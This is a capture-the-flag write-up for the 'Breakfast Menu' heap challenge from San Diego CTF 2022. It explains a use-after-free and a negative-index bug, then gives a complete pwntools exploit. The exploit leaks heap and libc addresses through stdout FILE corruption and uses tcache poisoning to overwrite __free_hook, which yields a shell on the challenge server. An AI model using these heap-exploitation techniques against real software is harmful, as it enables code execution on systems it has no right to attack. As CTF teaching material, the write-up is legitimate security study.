Rating: 4.0

## Breakfast Menu

> Points: 250
>
> Solves: 32

### Description:
> I’m awfully hungry, with all these options to choose from, what should I order?
>
> Connect
> nc breakfast.sdc.tf 1337
>
> By green beans
### Attachments:
> BreakfastMenu
>
> Dockerfile

## Analysis:

There are three functions, `Create`, `Edit`, and `Delete`, and there is no display function. Finding vulnerabilities is relatively easy, so the point is how to leak the `libc` address.

```
1. Create a new order
2. Edit an order
3. Delete an order
4. Pay your bill and leave
```

There are the following two vulnerabilities.
- There is a `UAF` vulnerability because the pointer is not cleared after free the area with the `Delete` function.
- The `Edit` and `Delete` functions do not check for negative indexes. By using this, the area with the index value `-12` and `_IO_2_1_stdout_` can be rewritten, so the `heap` and the `libc` address can be leaked.

```c
if (local_18 != 3) break;
puts("which order would you like to remove");
fflush(stdout);
__isoc99_scanf(&DAT_00400cd5,&local_18);
getchar();
if (local_18 < local_14) { <--- Not checking for negative index values
free(*(void **)(orders + (long)local_18 * 8));
}
else {
puts("Order doesn\'t exist!!!");
fflush(stdout);
}
```

```c
if (local_18 < local_14) { <--- Not checking for negative index values
free(*(void **)(orders + (long)local_18 * 8)); <--- Not clearing the pointer after free
}
else {
puts("Order doesn\'t exist!!!");
fflush(stdout);
}
```

## Solution:
In the local environment, we can leak the `libc` address as shown below by rewriting `_IO_write_base` to `0x602010`, but this was not possible in the server environment.

```python
Edit(-12, p32(0xfbad3a87)+"\x01"*0x1c+p64(0x602010))
```

```
gdb-peda$ p _IO_2_1_stdout_
$1 = {
file = {
_flags = 0xfbad2a84,
_IO_read_ptr = 0x603260,
_IO_read_end = 0x603260,
_IO_read_base = 0x603260,
_IO_write_base = 0x603260, <- Rewriting this value
_IO_write_ptr = 0x603260,
_IO_write_end = 0x603260,
_IO_buf_base = 0x603260,
_IO_buf_end = 0x603660,
```

An example of outputting the `GOT` area in the local environment. I don't know the cause, but the server environment doesn't work.
```
00000000 73 6f 20 79 6f 75 20 77 61 6e 74 65 64 20 87 3a │so y│ou w│ante│d ·:│
00000010 ad fb 01 01 01 01 01 01 01 01 01 01 01 01 01 01 │····│····│····│····│
00000020 01 01 01 01 01 01 01 01 01 01 01 01 01 01 10 20 │····│····│····│··· │
00000030 60 f0 a8 de f7 ff 7f 00 00 c6 06 40 00 00 00 00 │`···│····│···@│····│
00000040 00 00 82 a9 f7 ff 7f 00 00 70 29 a6 f7 ff 7f 00 │····│····│·p)·│····│
00000050 00 40 6e a4 f7 ff 7f 00 00 10 0e b7 f7 ff 7f 00 │·@n·│····│····│····│
00000060 00 d0 0a a6 f7 ff 7f 00 00 a0 9e a6 f7 ff 7f 00 │····│····│····│····│
00000070 00 36 07 40 00 00 00 00 00 90 07 a6 f7 ff 7f 00 │·6·@│····│····│····│
00000080 00 70 de a5 f7 ff 7f 00 00 66 07 40 00 00 00 00 │·p··│····│·f·@│····│
00000090 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000000a0 00 60 e7 dc f7 ff 7f 00 00 00 00 00 00 00 00 00 │·`··│····│····│····│
000000b0 00 00 da dc f7 ff 7f 00 00 00 00 00 00 00 00 00 │····│····│····│····│
000000c0 00 87 3a ad fb 01 01 01 01 01 01 01 01 01 01 01 │··:·│····│····│····│
000000d0 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 │····│····│····│····│
000000e0 01 10 20 60 00 00 00 00 00 0a 00 00 00 00 00 00 │·· `│····│····│····│
000000f0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
```

The following is an excerpt from the `Dockerfile`, which may be due to running on `nsjail`.
```
socat \
TCP-LISTEN:1337,reuseaddr,fork \
EXEC:"nsjail --config /home/user/nsjail.cfg -- /home/user/BreakfastMenu"
```

However, if the lower 1 byte of `_IO_write_base` is rewritten to `NULL`, only the following heap area can be output even in the server environment.
```
0x603200: 0x0000000000000000 0x0000000000000000
0x603210: 0x0000000000000000 0x0000000000000000
0x603220: 0x0000000000000000 0x0000000000000000
0x603230: 0x0000000000000000 0x0000000000000000
0x603240: 0x0000000000000000 0x0000000000000000
0x603250: 0x0000000000000000 0x0000000000000411 <- The server environment is 0x111 instead of 0x411.
0x603260: 0x7461657243202e0a 0x2077656e20612065
0x603270: 0x2e320a726564726f 0x6e61207469644520
0x603280: 0x330a726564726f20 0x6574656c6544202e
```

An example of outputting with `context.log_level ='debug'` of `Pwntools`
```
00000000 73 6f 20 79 6f 75 20 77 61 6e 74 65 64 20 87 3a │so y│ou w│ante│d ·:│
00000010 ad fb 01 01 01 01 01 01 01 01 01 01 01 01 01 01 │····│····│····│····│
00000020 01 01 01 01 01 01 01 01 01 01 01 01 01 0a 00 00 │····│····│····│····│
00000030 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
*
00000080 00 00 00 00 00 00 11 10 00 00 00 00 00 00 31 2e │····│····│····│··1.│
00000090 20 43 72 65 61 74 65 20 61 20 6e 65 77 20 6f 72 │ Cre│ate │a ne│w or│
000000a0 64 65 72 0a 32 2e 20 45 64 69 74 20 61 6e 20 6f │der·│2. E│dit │an o│
000000b0 72 64 65 72 0a 33 2e 20 44 65 6c 65 74 65 20 61 │rder│·3. │Dele│te a│
000000c0 6e 20 6f 72 64 65 72 0a 34 2e 20 50 61 79 20 79 │n or│der·│4. P│ay y│
000000d0 6f 75 72 20 62 69 6c 6c 20 61 6e 64 20 6c 65 │our │bill│ and│ le│
```

Since the above limited area contains `tcachebin` of `0x3c0` size, we can leak the heap address by creating a chunk of `0x3c0` size in another area and freeing it.

```python
for i in range(6):
Create()
Delete(4)
Delete(5)
Edit(5, "\x00")
Create()
Create()
Edit(2, "A"*0x18+p64(0x3c1))
Delete(7)
```

State of heap memory after executing `Delete(7)`
```
0x604670: 0x0000000000000000 0x0000000000000031
0x604680: 0x0000000000000000 0x0000000000000000
0x604690: 0x0000000000000000 0x0000000000000000
0x6046a0: 0x0000000000000000 0x0000000000000031
0x6046b0: 0x0000000000000000 0x0000000000000000
0x6046c0: 0x0000000000000000 0x0000000000000000
0x6046d0: 0x0000000000000000 0x0000000000000031
0x6046e0: 0x4141414141414141 0x4141414141414141
0x6046f0: 0x4141414141414141 0x00000000000003c1
0x604700: 0x0000000000000000 0x0000000000603010
0x604710: 0x0000000000000000 0x0000000000000000
0x604720: 0x0000000000000000 0x0000000000000000
0x604730: 0x0000000000000000 0x0000000000000031
0x604740: 0x0000000000000000 0x0000000000603010
0x604750: 0x0000000000000000 0x0000000000000000
0x604760: 0x0000000000000000 0x0000000000000031
0x604770: 0x0000000000604700 0x0000000000000000
0x604780: 0x0000000000000000 0x0000000000000000
0x604790: 0x0000000000000000 0x000000000001f871
```

The heap address(`0x604700`) can be put in the `tcachebin` of `0x3c0`, so the heap address can be leaked.
```
0x603200: 0x0000000000000000 0x0000000000000000
0x603210: 0x0000000000000000 0x0000000000000000
0x603220: 0x0000000000604700 0x0000000000000000 <- This 0x604700 can be leaked.
0x603230: 0x0000000000000000 0x0000000000000000
0x603240: 0x0000000000000000 0x0000000000000000
0x603250: 0x0000000000000000 0x0000000000000411
0x603260: 0x7920796150202e34 0x6c6c69622072756f
0x603270: 0x61656c20646e6120 0x6e612074690a6576

pwndbg> bins
tcachebins
0x3c0 [ 1]: 0x604700 ◂— 0x0
```

If we know the heap address, we can create a fake `chunk` in the above area, so we can leak the `libc` address as shown below.

```
0x603200: 0x0000000000000000 0x0000000000000000
0x603210: 0x4141414141414141 0x0000000000001461
0x603220: 0x00007ffff7dcdca0 0x00007ffff7dcdca0 <- This 0x7ffff7dcdca0 can be leaked.
0x603230: 0x0000000000000000 0x0000000000000000
0x603240: 0x0000000000000000 0x0000000000000000
0x603250: 0x0000000000000000 0x0000000000000411
0x603260: 0x7461657243202e0a 0x2077656e20612065
0x603270: 0x2e320a726564726f 0x6e61207469644520
```
The `python` code for the `libc` leak
```python
# Make large chunk in tcache
Delete(0)
Delete(1)
Edit(1, p64(heap_base + 0x210))
Create()
Create()
Edit(9, "A"*8+p64(heap_offset - 0x300 + 0x61))

Delete(0)
Delete(1)
Edit(1, p64(heap_base + 0x220))
Create()
Create()

# libc leak
Delete(11)
```

If we can leak the `libc` address, we can easily write the `__free_hook` to the `tcachebin` using the `Edit` function. Similarly, we can write the address of the `system` function to `__free_hook`, so we can start `/bin/sh` by freeing the `chunk` that wrote `/bin/sh`.

## Exploit code:
The Exploit code is below.
```python
from pwn import *

#context(os='linux', arch='amd64')
#context.log_level = 'debug'

BINARY = './BreakfastMenu'
elf = ELF(BINARY)

if len(sys.argv) > 1 and sys.argv[1] == 'r':
HOST = "breakfast.sdc.tf"
PORT = 1337
s = remote(HOST, PORT)
heap_offset = 0x2300
else:
s = process(BINARY)
heap_offset = 0x1700
libc = elf.libc

def Create():
s.sendlineafter("leave\n", "1")

def Edit(idx, data):
s.sendlineafter("leave\n", "2")
s.sendlineafter("modify\n", str(idx))
s.sendlineafter("order?\n", data)

def Delete(idx):
s.sendlineafter("leave\n", "3")
s.sendlineafter("remove\n", str(idx))

for i in range(6):
Create()

# Make fake chunk sizeof 0x3c0 for heap leaking
Delete(4)
Delete(5)
Edit(5, "\x00")
Create()
Create()
Edit(2, "A"*0x18+p64(0x3c1))

# Heap leak
Delete(7)
Edit(-12, p32(0xfbad3a87)+"\x01"*0x1b)

s.recvuntil("\x00"*0x20)
heap_leak = u64(s.recv(8))
heap_base = heap_leak - heap_offset
print "heap_leak =", hex(heap_leak)
print "heap_base =", hex(heap_base)

# Make large chunk in tcache
Delete(0)
Delete(1)
Edit(1, p64(heap_base + 0x210))
Create()
Create()
Edit(9, "A"*8+p64(heap_offset - 0x300 + 0x61))

Delete(0)
Delete(1)
Edit(1, p64(heap_base + 0x220))
Create()
Create()

# libc leak
Delete(11)
Edit(-12, p32(0xfbad3a87)+"\x01"*0x1b)
s.recvuntil("A"*8)
s.recv(8)
libc_leak = u64(s.recv(8))
libc_base = libc_leak - libc.sym.__malloc_hook - 0x70
free_hook = libc_base + libc.sym.__free_hook
system_addr = libc_base + libc.sym.system
print "libc_leak =", hex(libc_leak)
print "libc_base =", hex(libc_base)

# Write __free_hook in tcache
Delete(0)
Delete(1)
Edit(1, p64(free_hook))

# Write system address in __free_hook
Create()
Create()
Edit(13, p64(system_addr))

# Start system("/bin/sh")
Edit(3, "/bin/sh\x00")
Delete(3)

s.interactive()
```

## Results:
The execution result is as follows.
```bash
[email protected]:~/CTF/San_Diego_CTF_2022/Pwn_Breakfast_Menu_250$ python solve.py r
[*] '/home/mito/CTF/San_Diego_CTF_2022/Pwn_Breakfast_Menu_250/BreakfastMenu'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
[+] Opening connection to breakfast.sdc.tf on port 1337: Done
[*] '/lib/x86_64-linux-gnu/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
heap_leak = 0x880300
heap_base = 0x87e000
libc_leak = 0x7fc8441e3ca0
libc_base = 0x7fc843df8000
[*] Switching to interactive mode
$ id
uid=1000(user) gid=1000(user) groups=1000(user)
$ ls -l
total 28
-rwxr-xr-x 1 nobody nogroup 13000 May 6 22:02 BreakfastMenu
-rw-r--r-- 1 nobody nogroup 2405 May 5 18:23 BreakfastMenu.c
-rw-r--r-- 1 nobody nogroup 105 Apr 29 20:55 Makefile
-rw-r--r-- 1 nobody nogroup 42 May 6 22:01 flag.txt
$ cat flag.txt
sdctf{Th3_m05t_1Mp0Rt4nT_m34L_0f_th3_d4Y}
```

Original writeup (https://github.com/mito753/CTF/blob/main/2022/San_Diego_CTF_2022/Pwn_Breakfast_Menu_250/).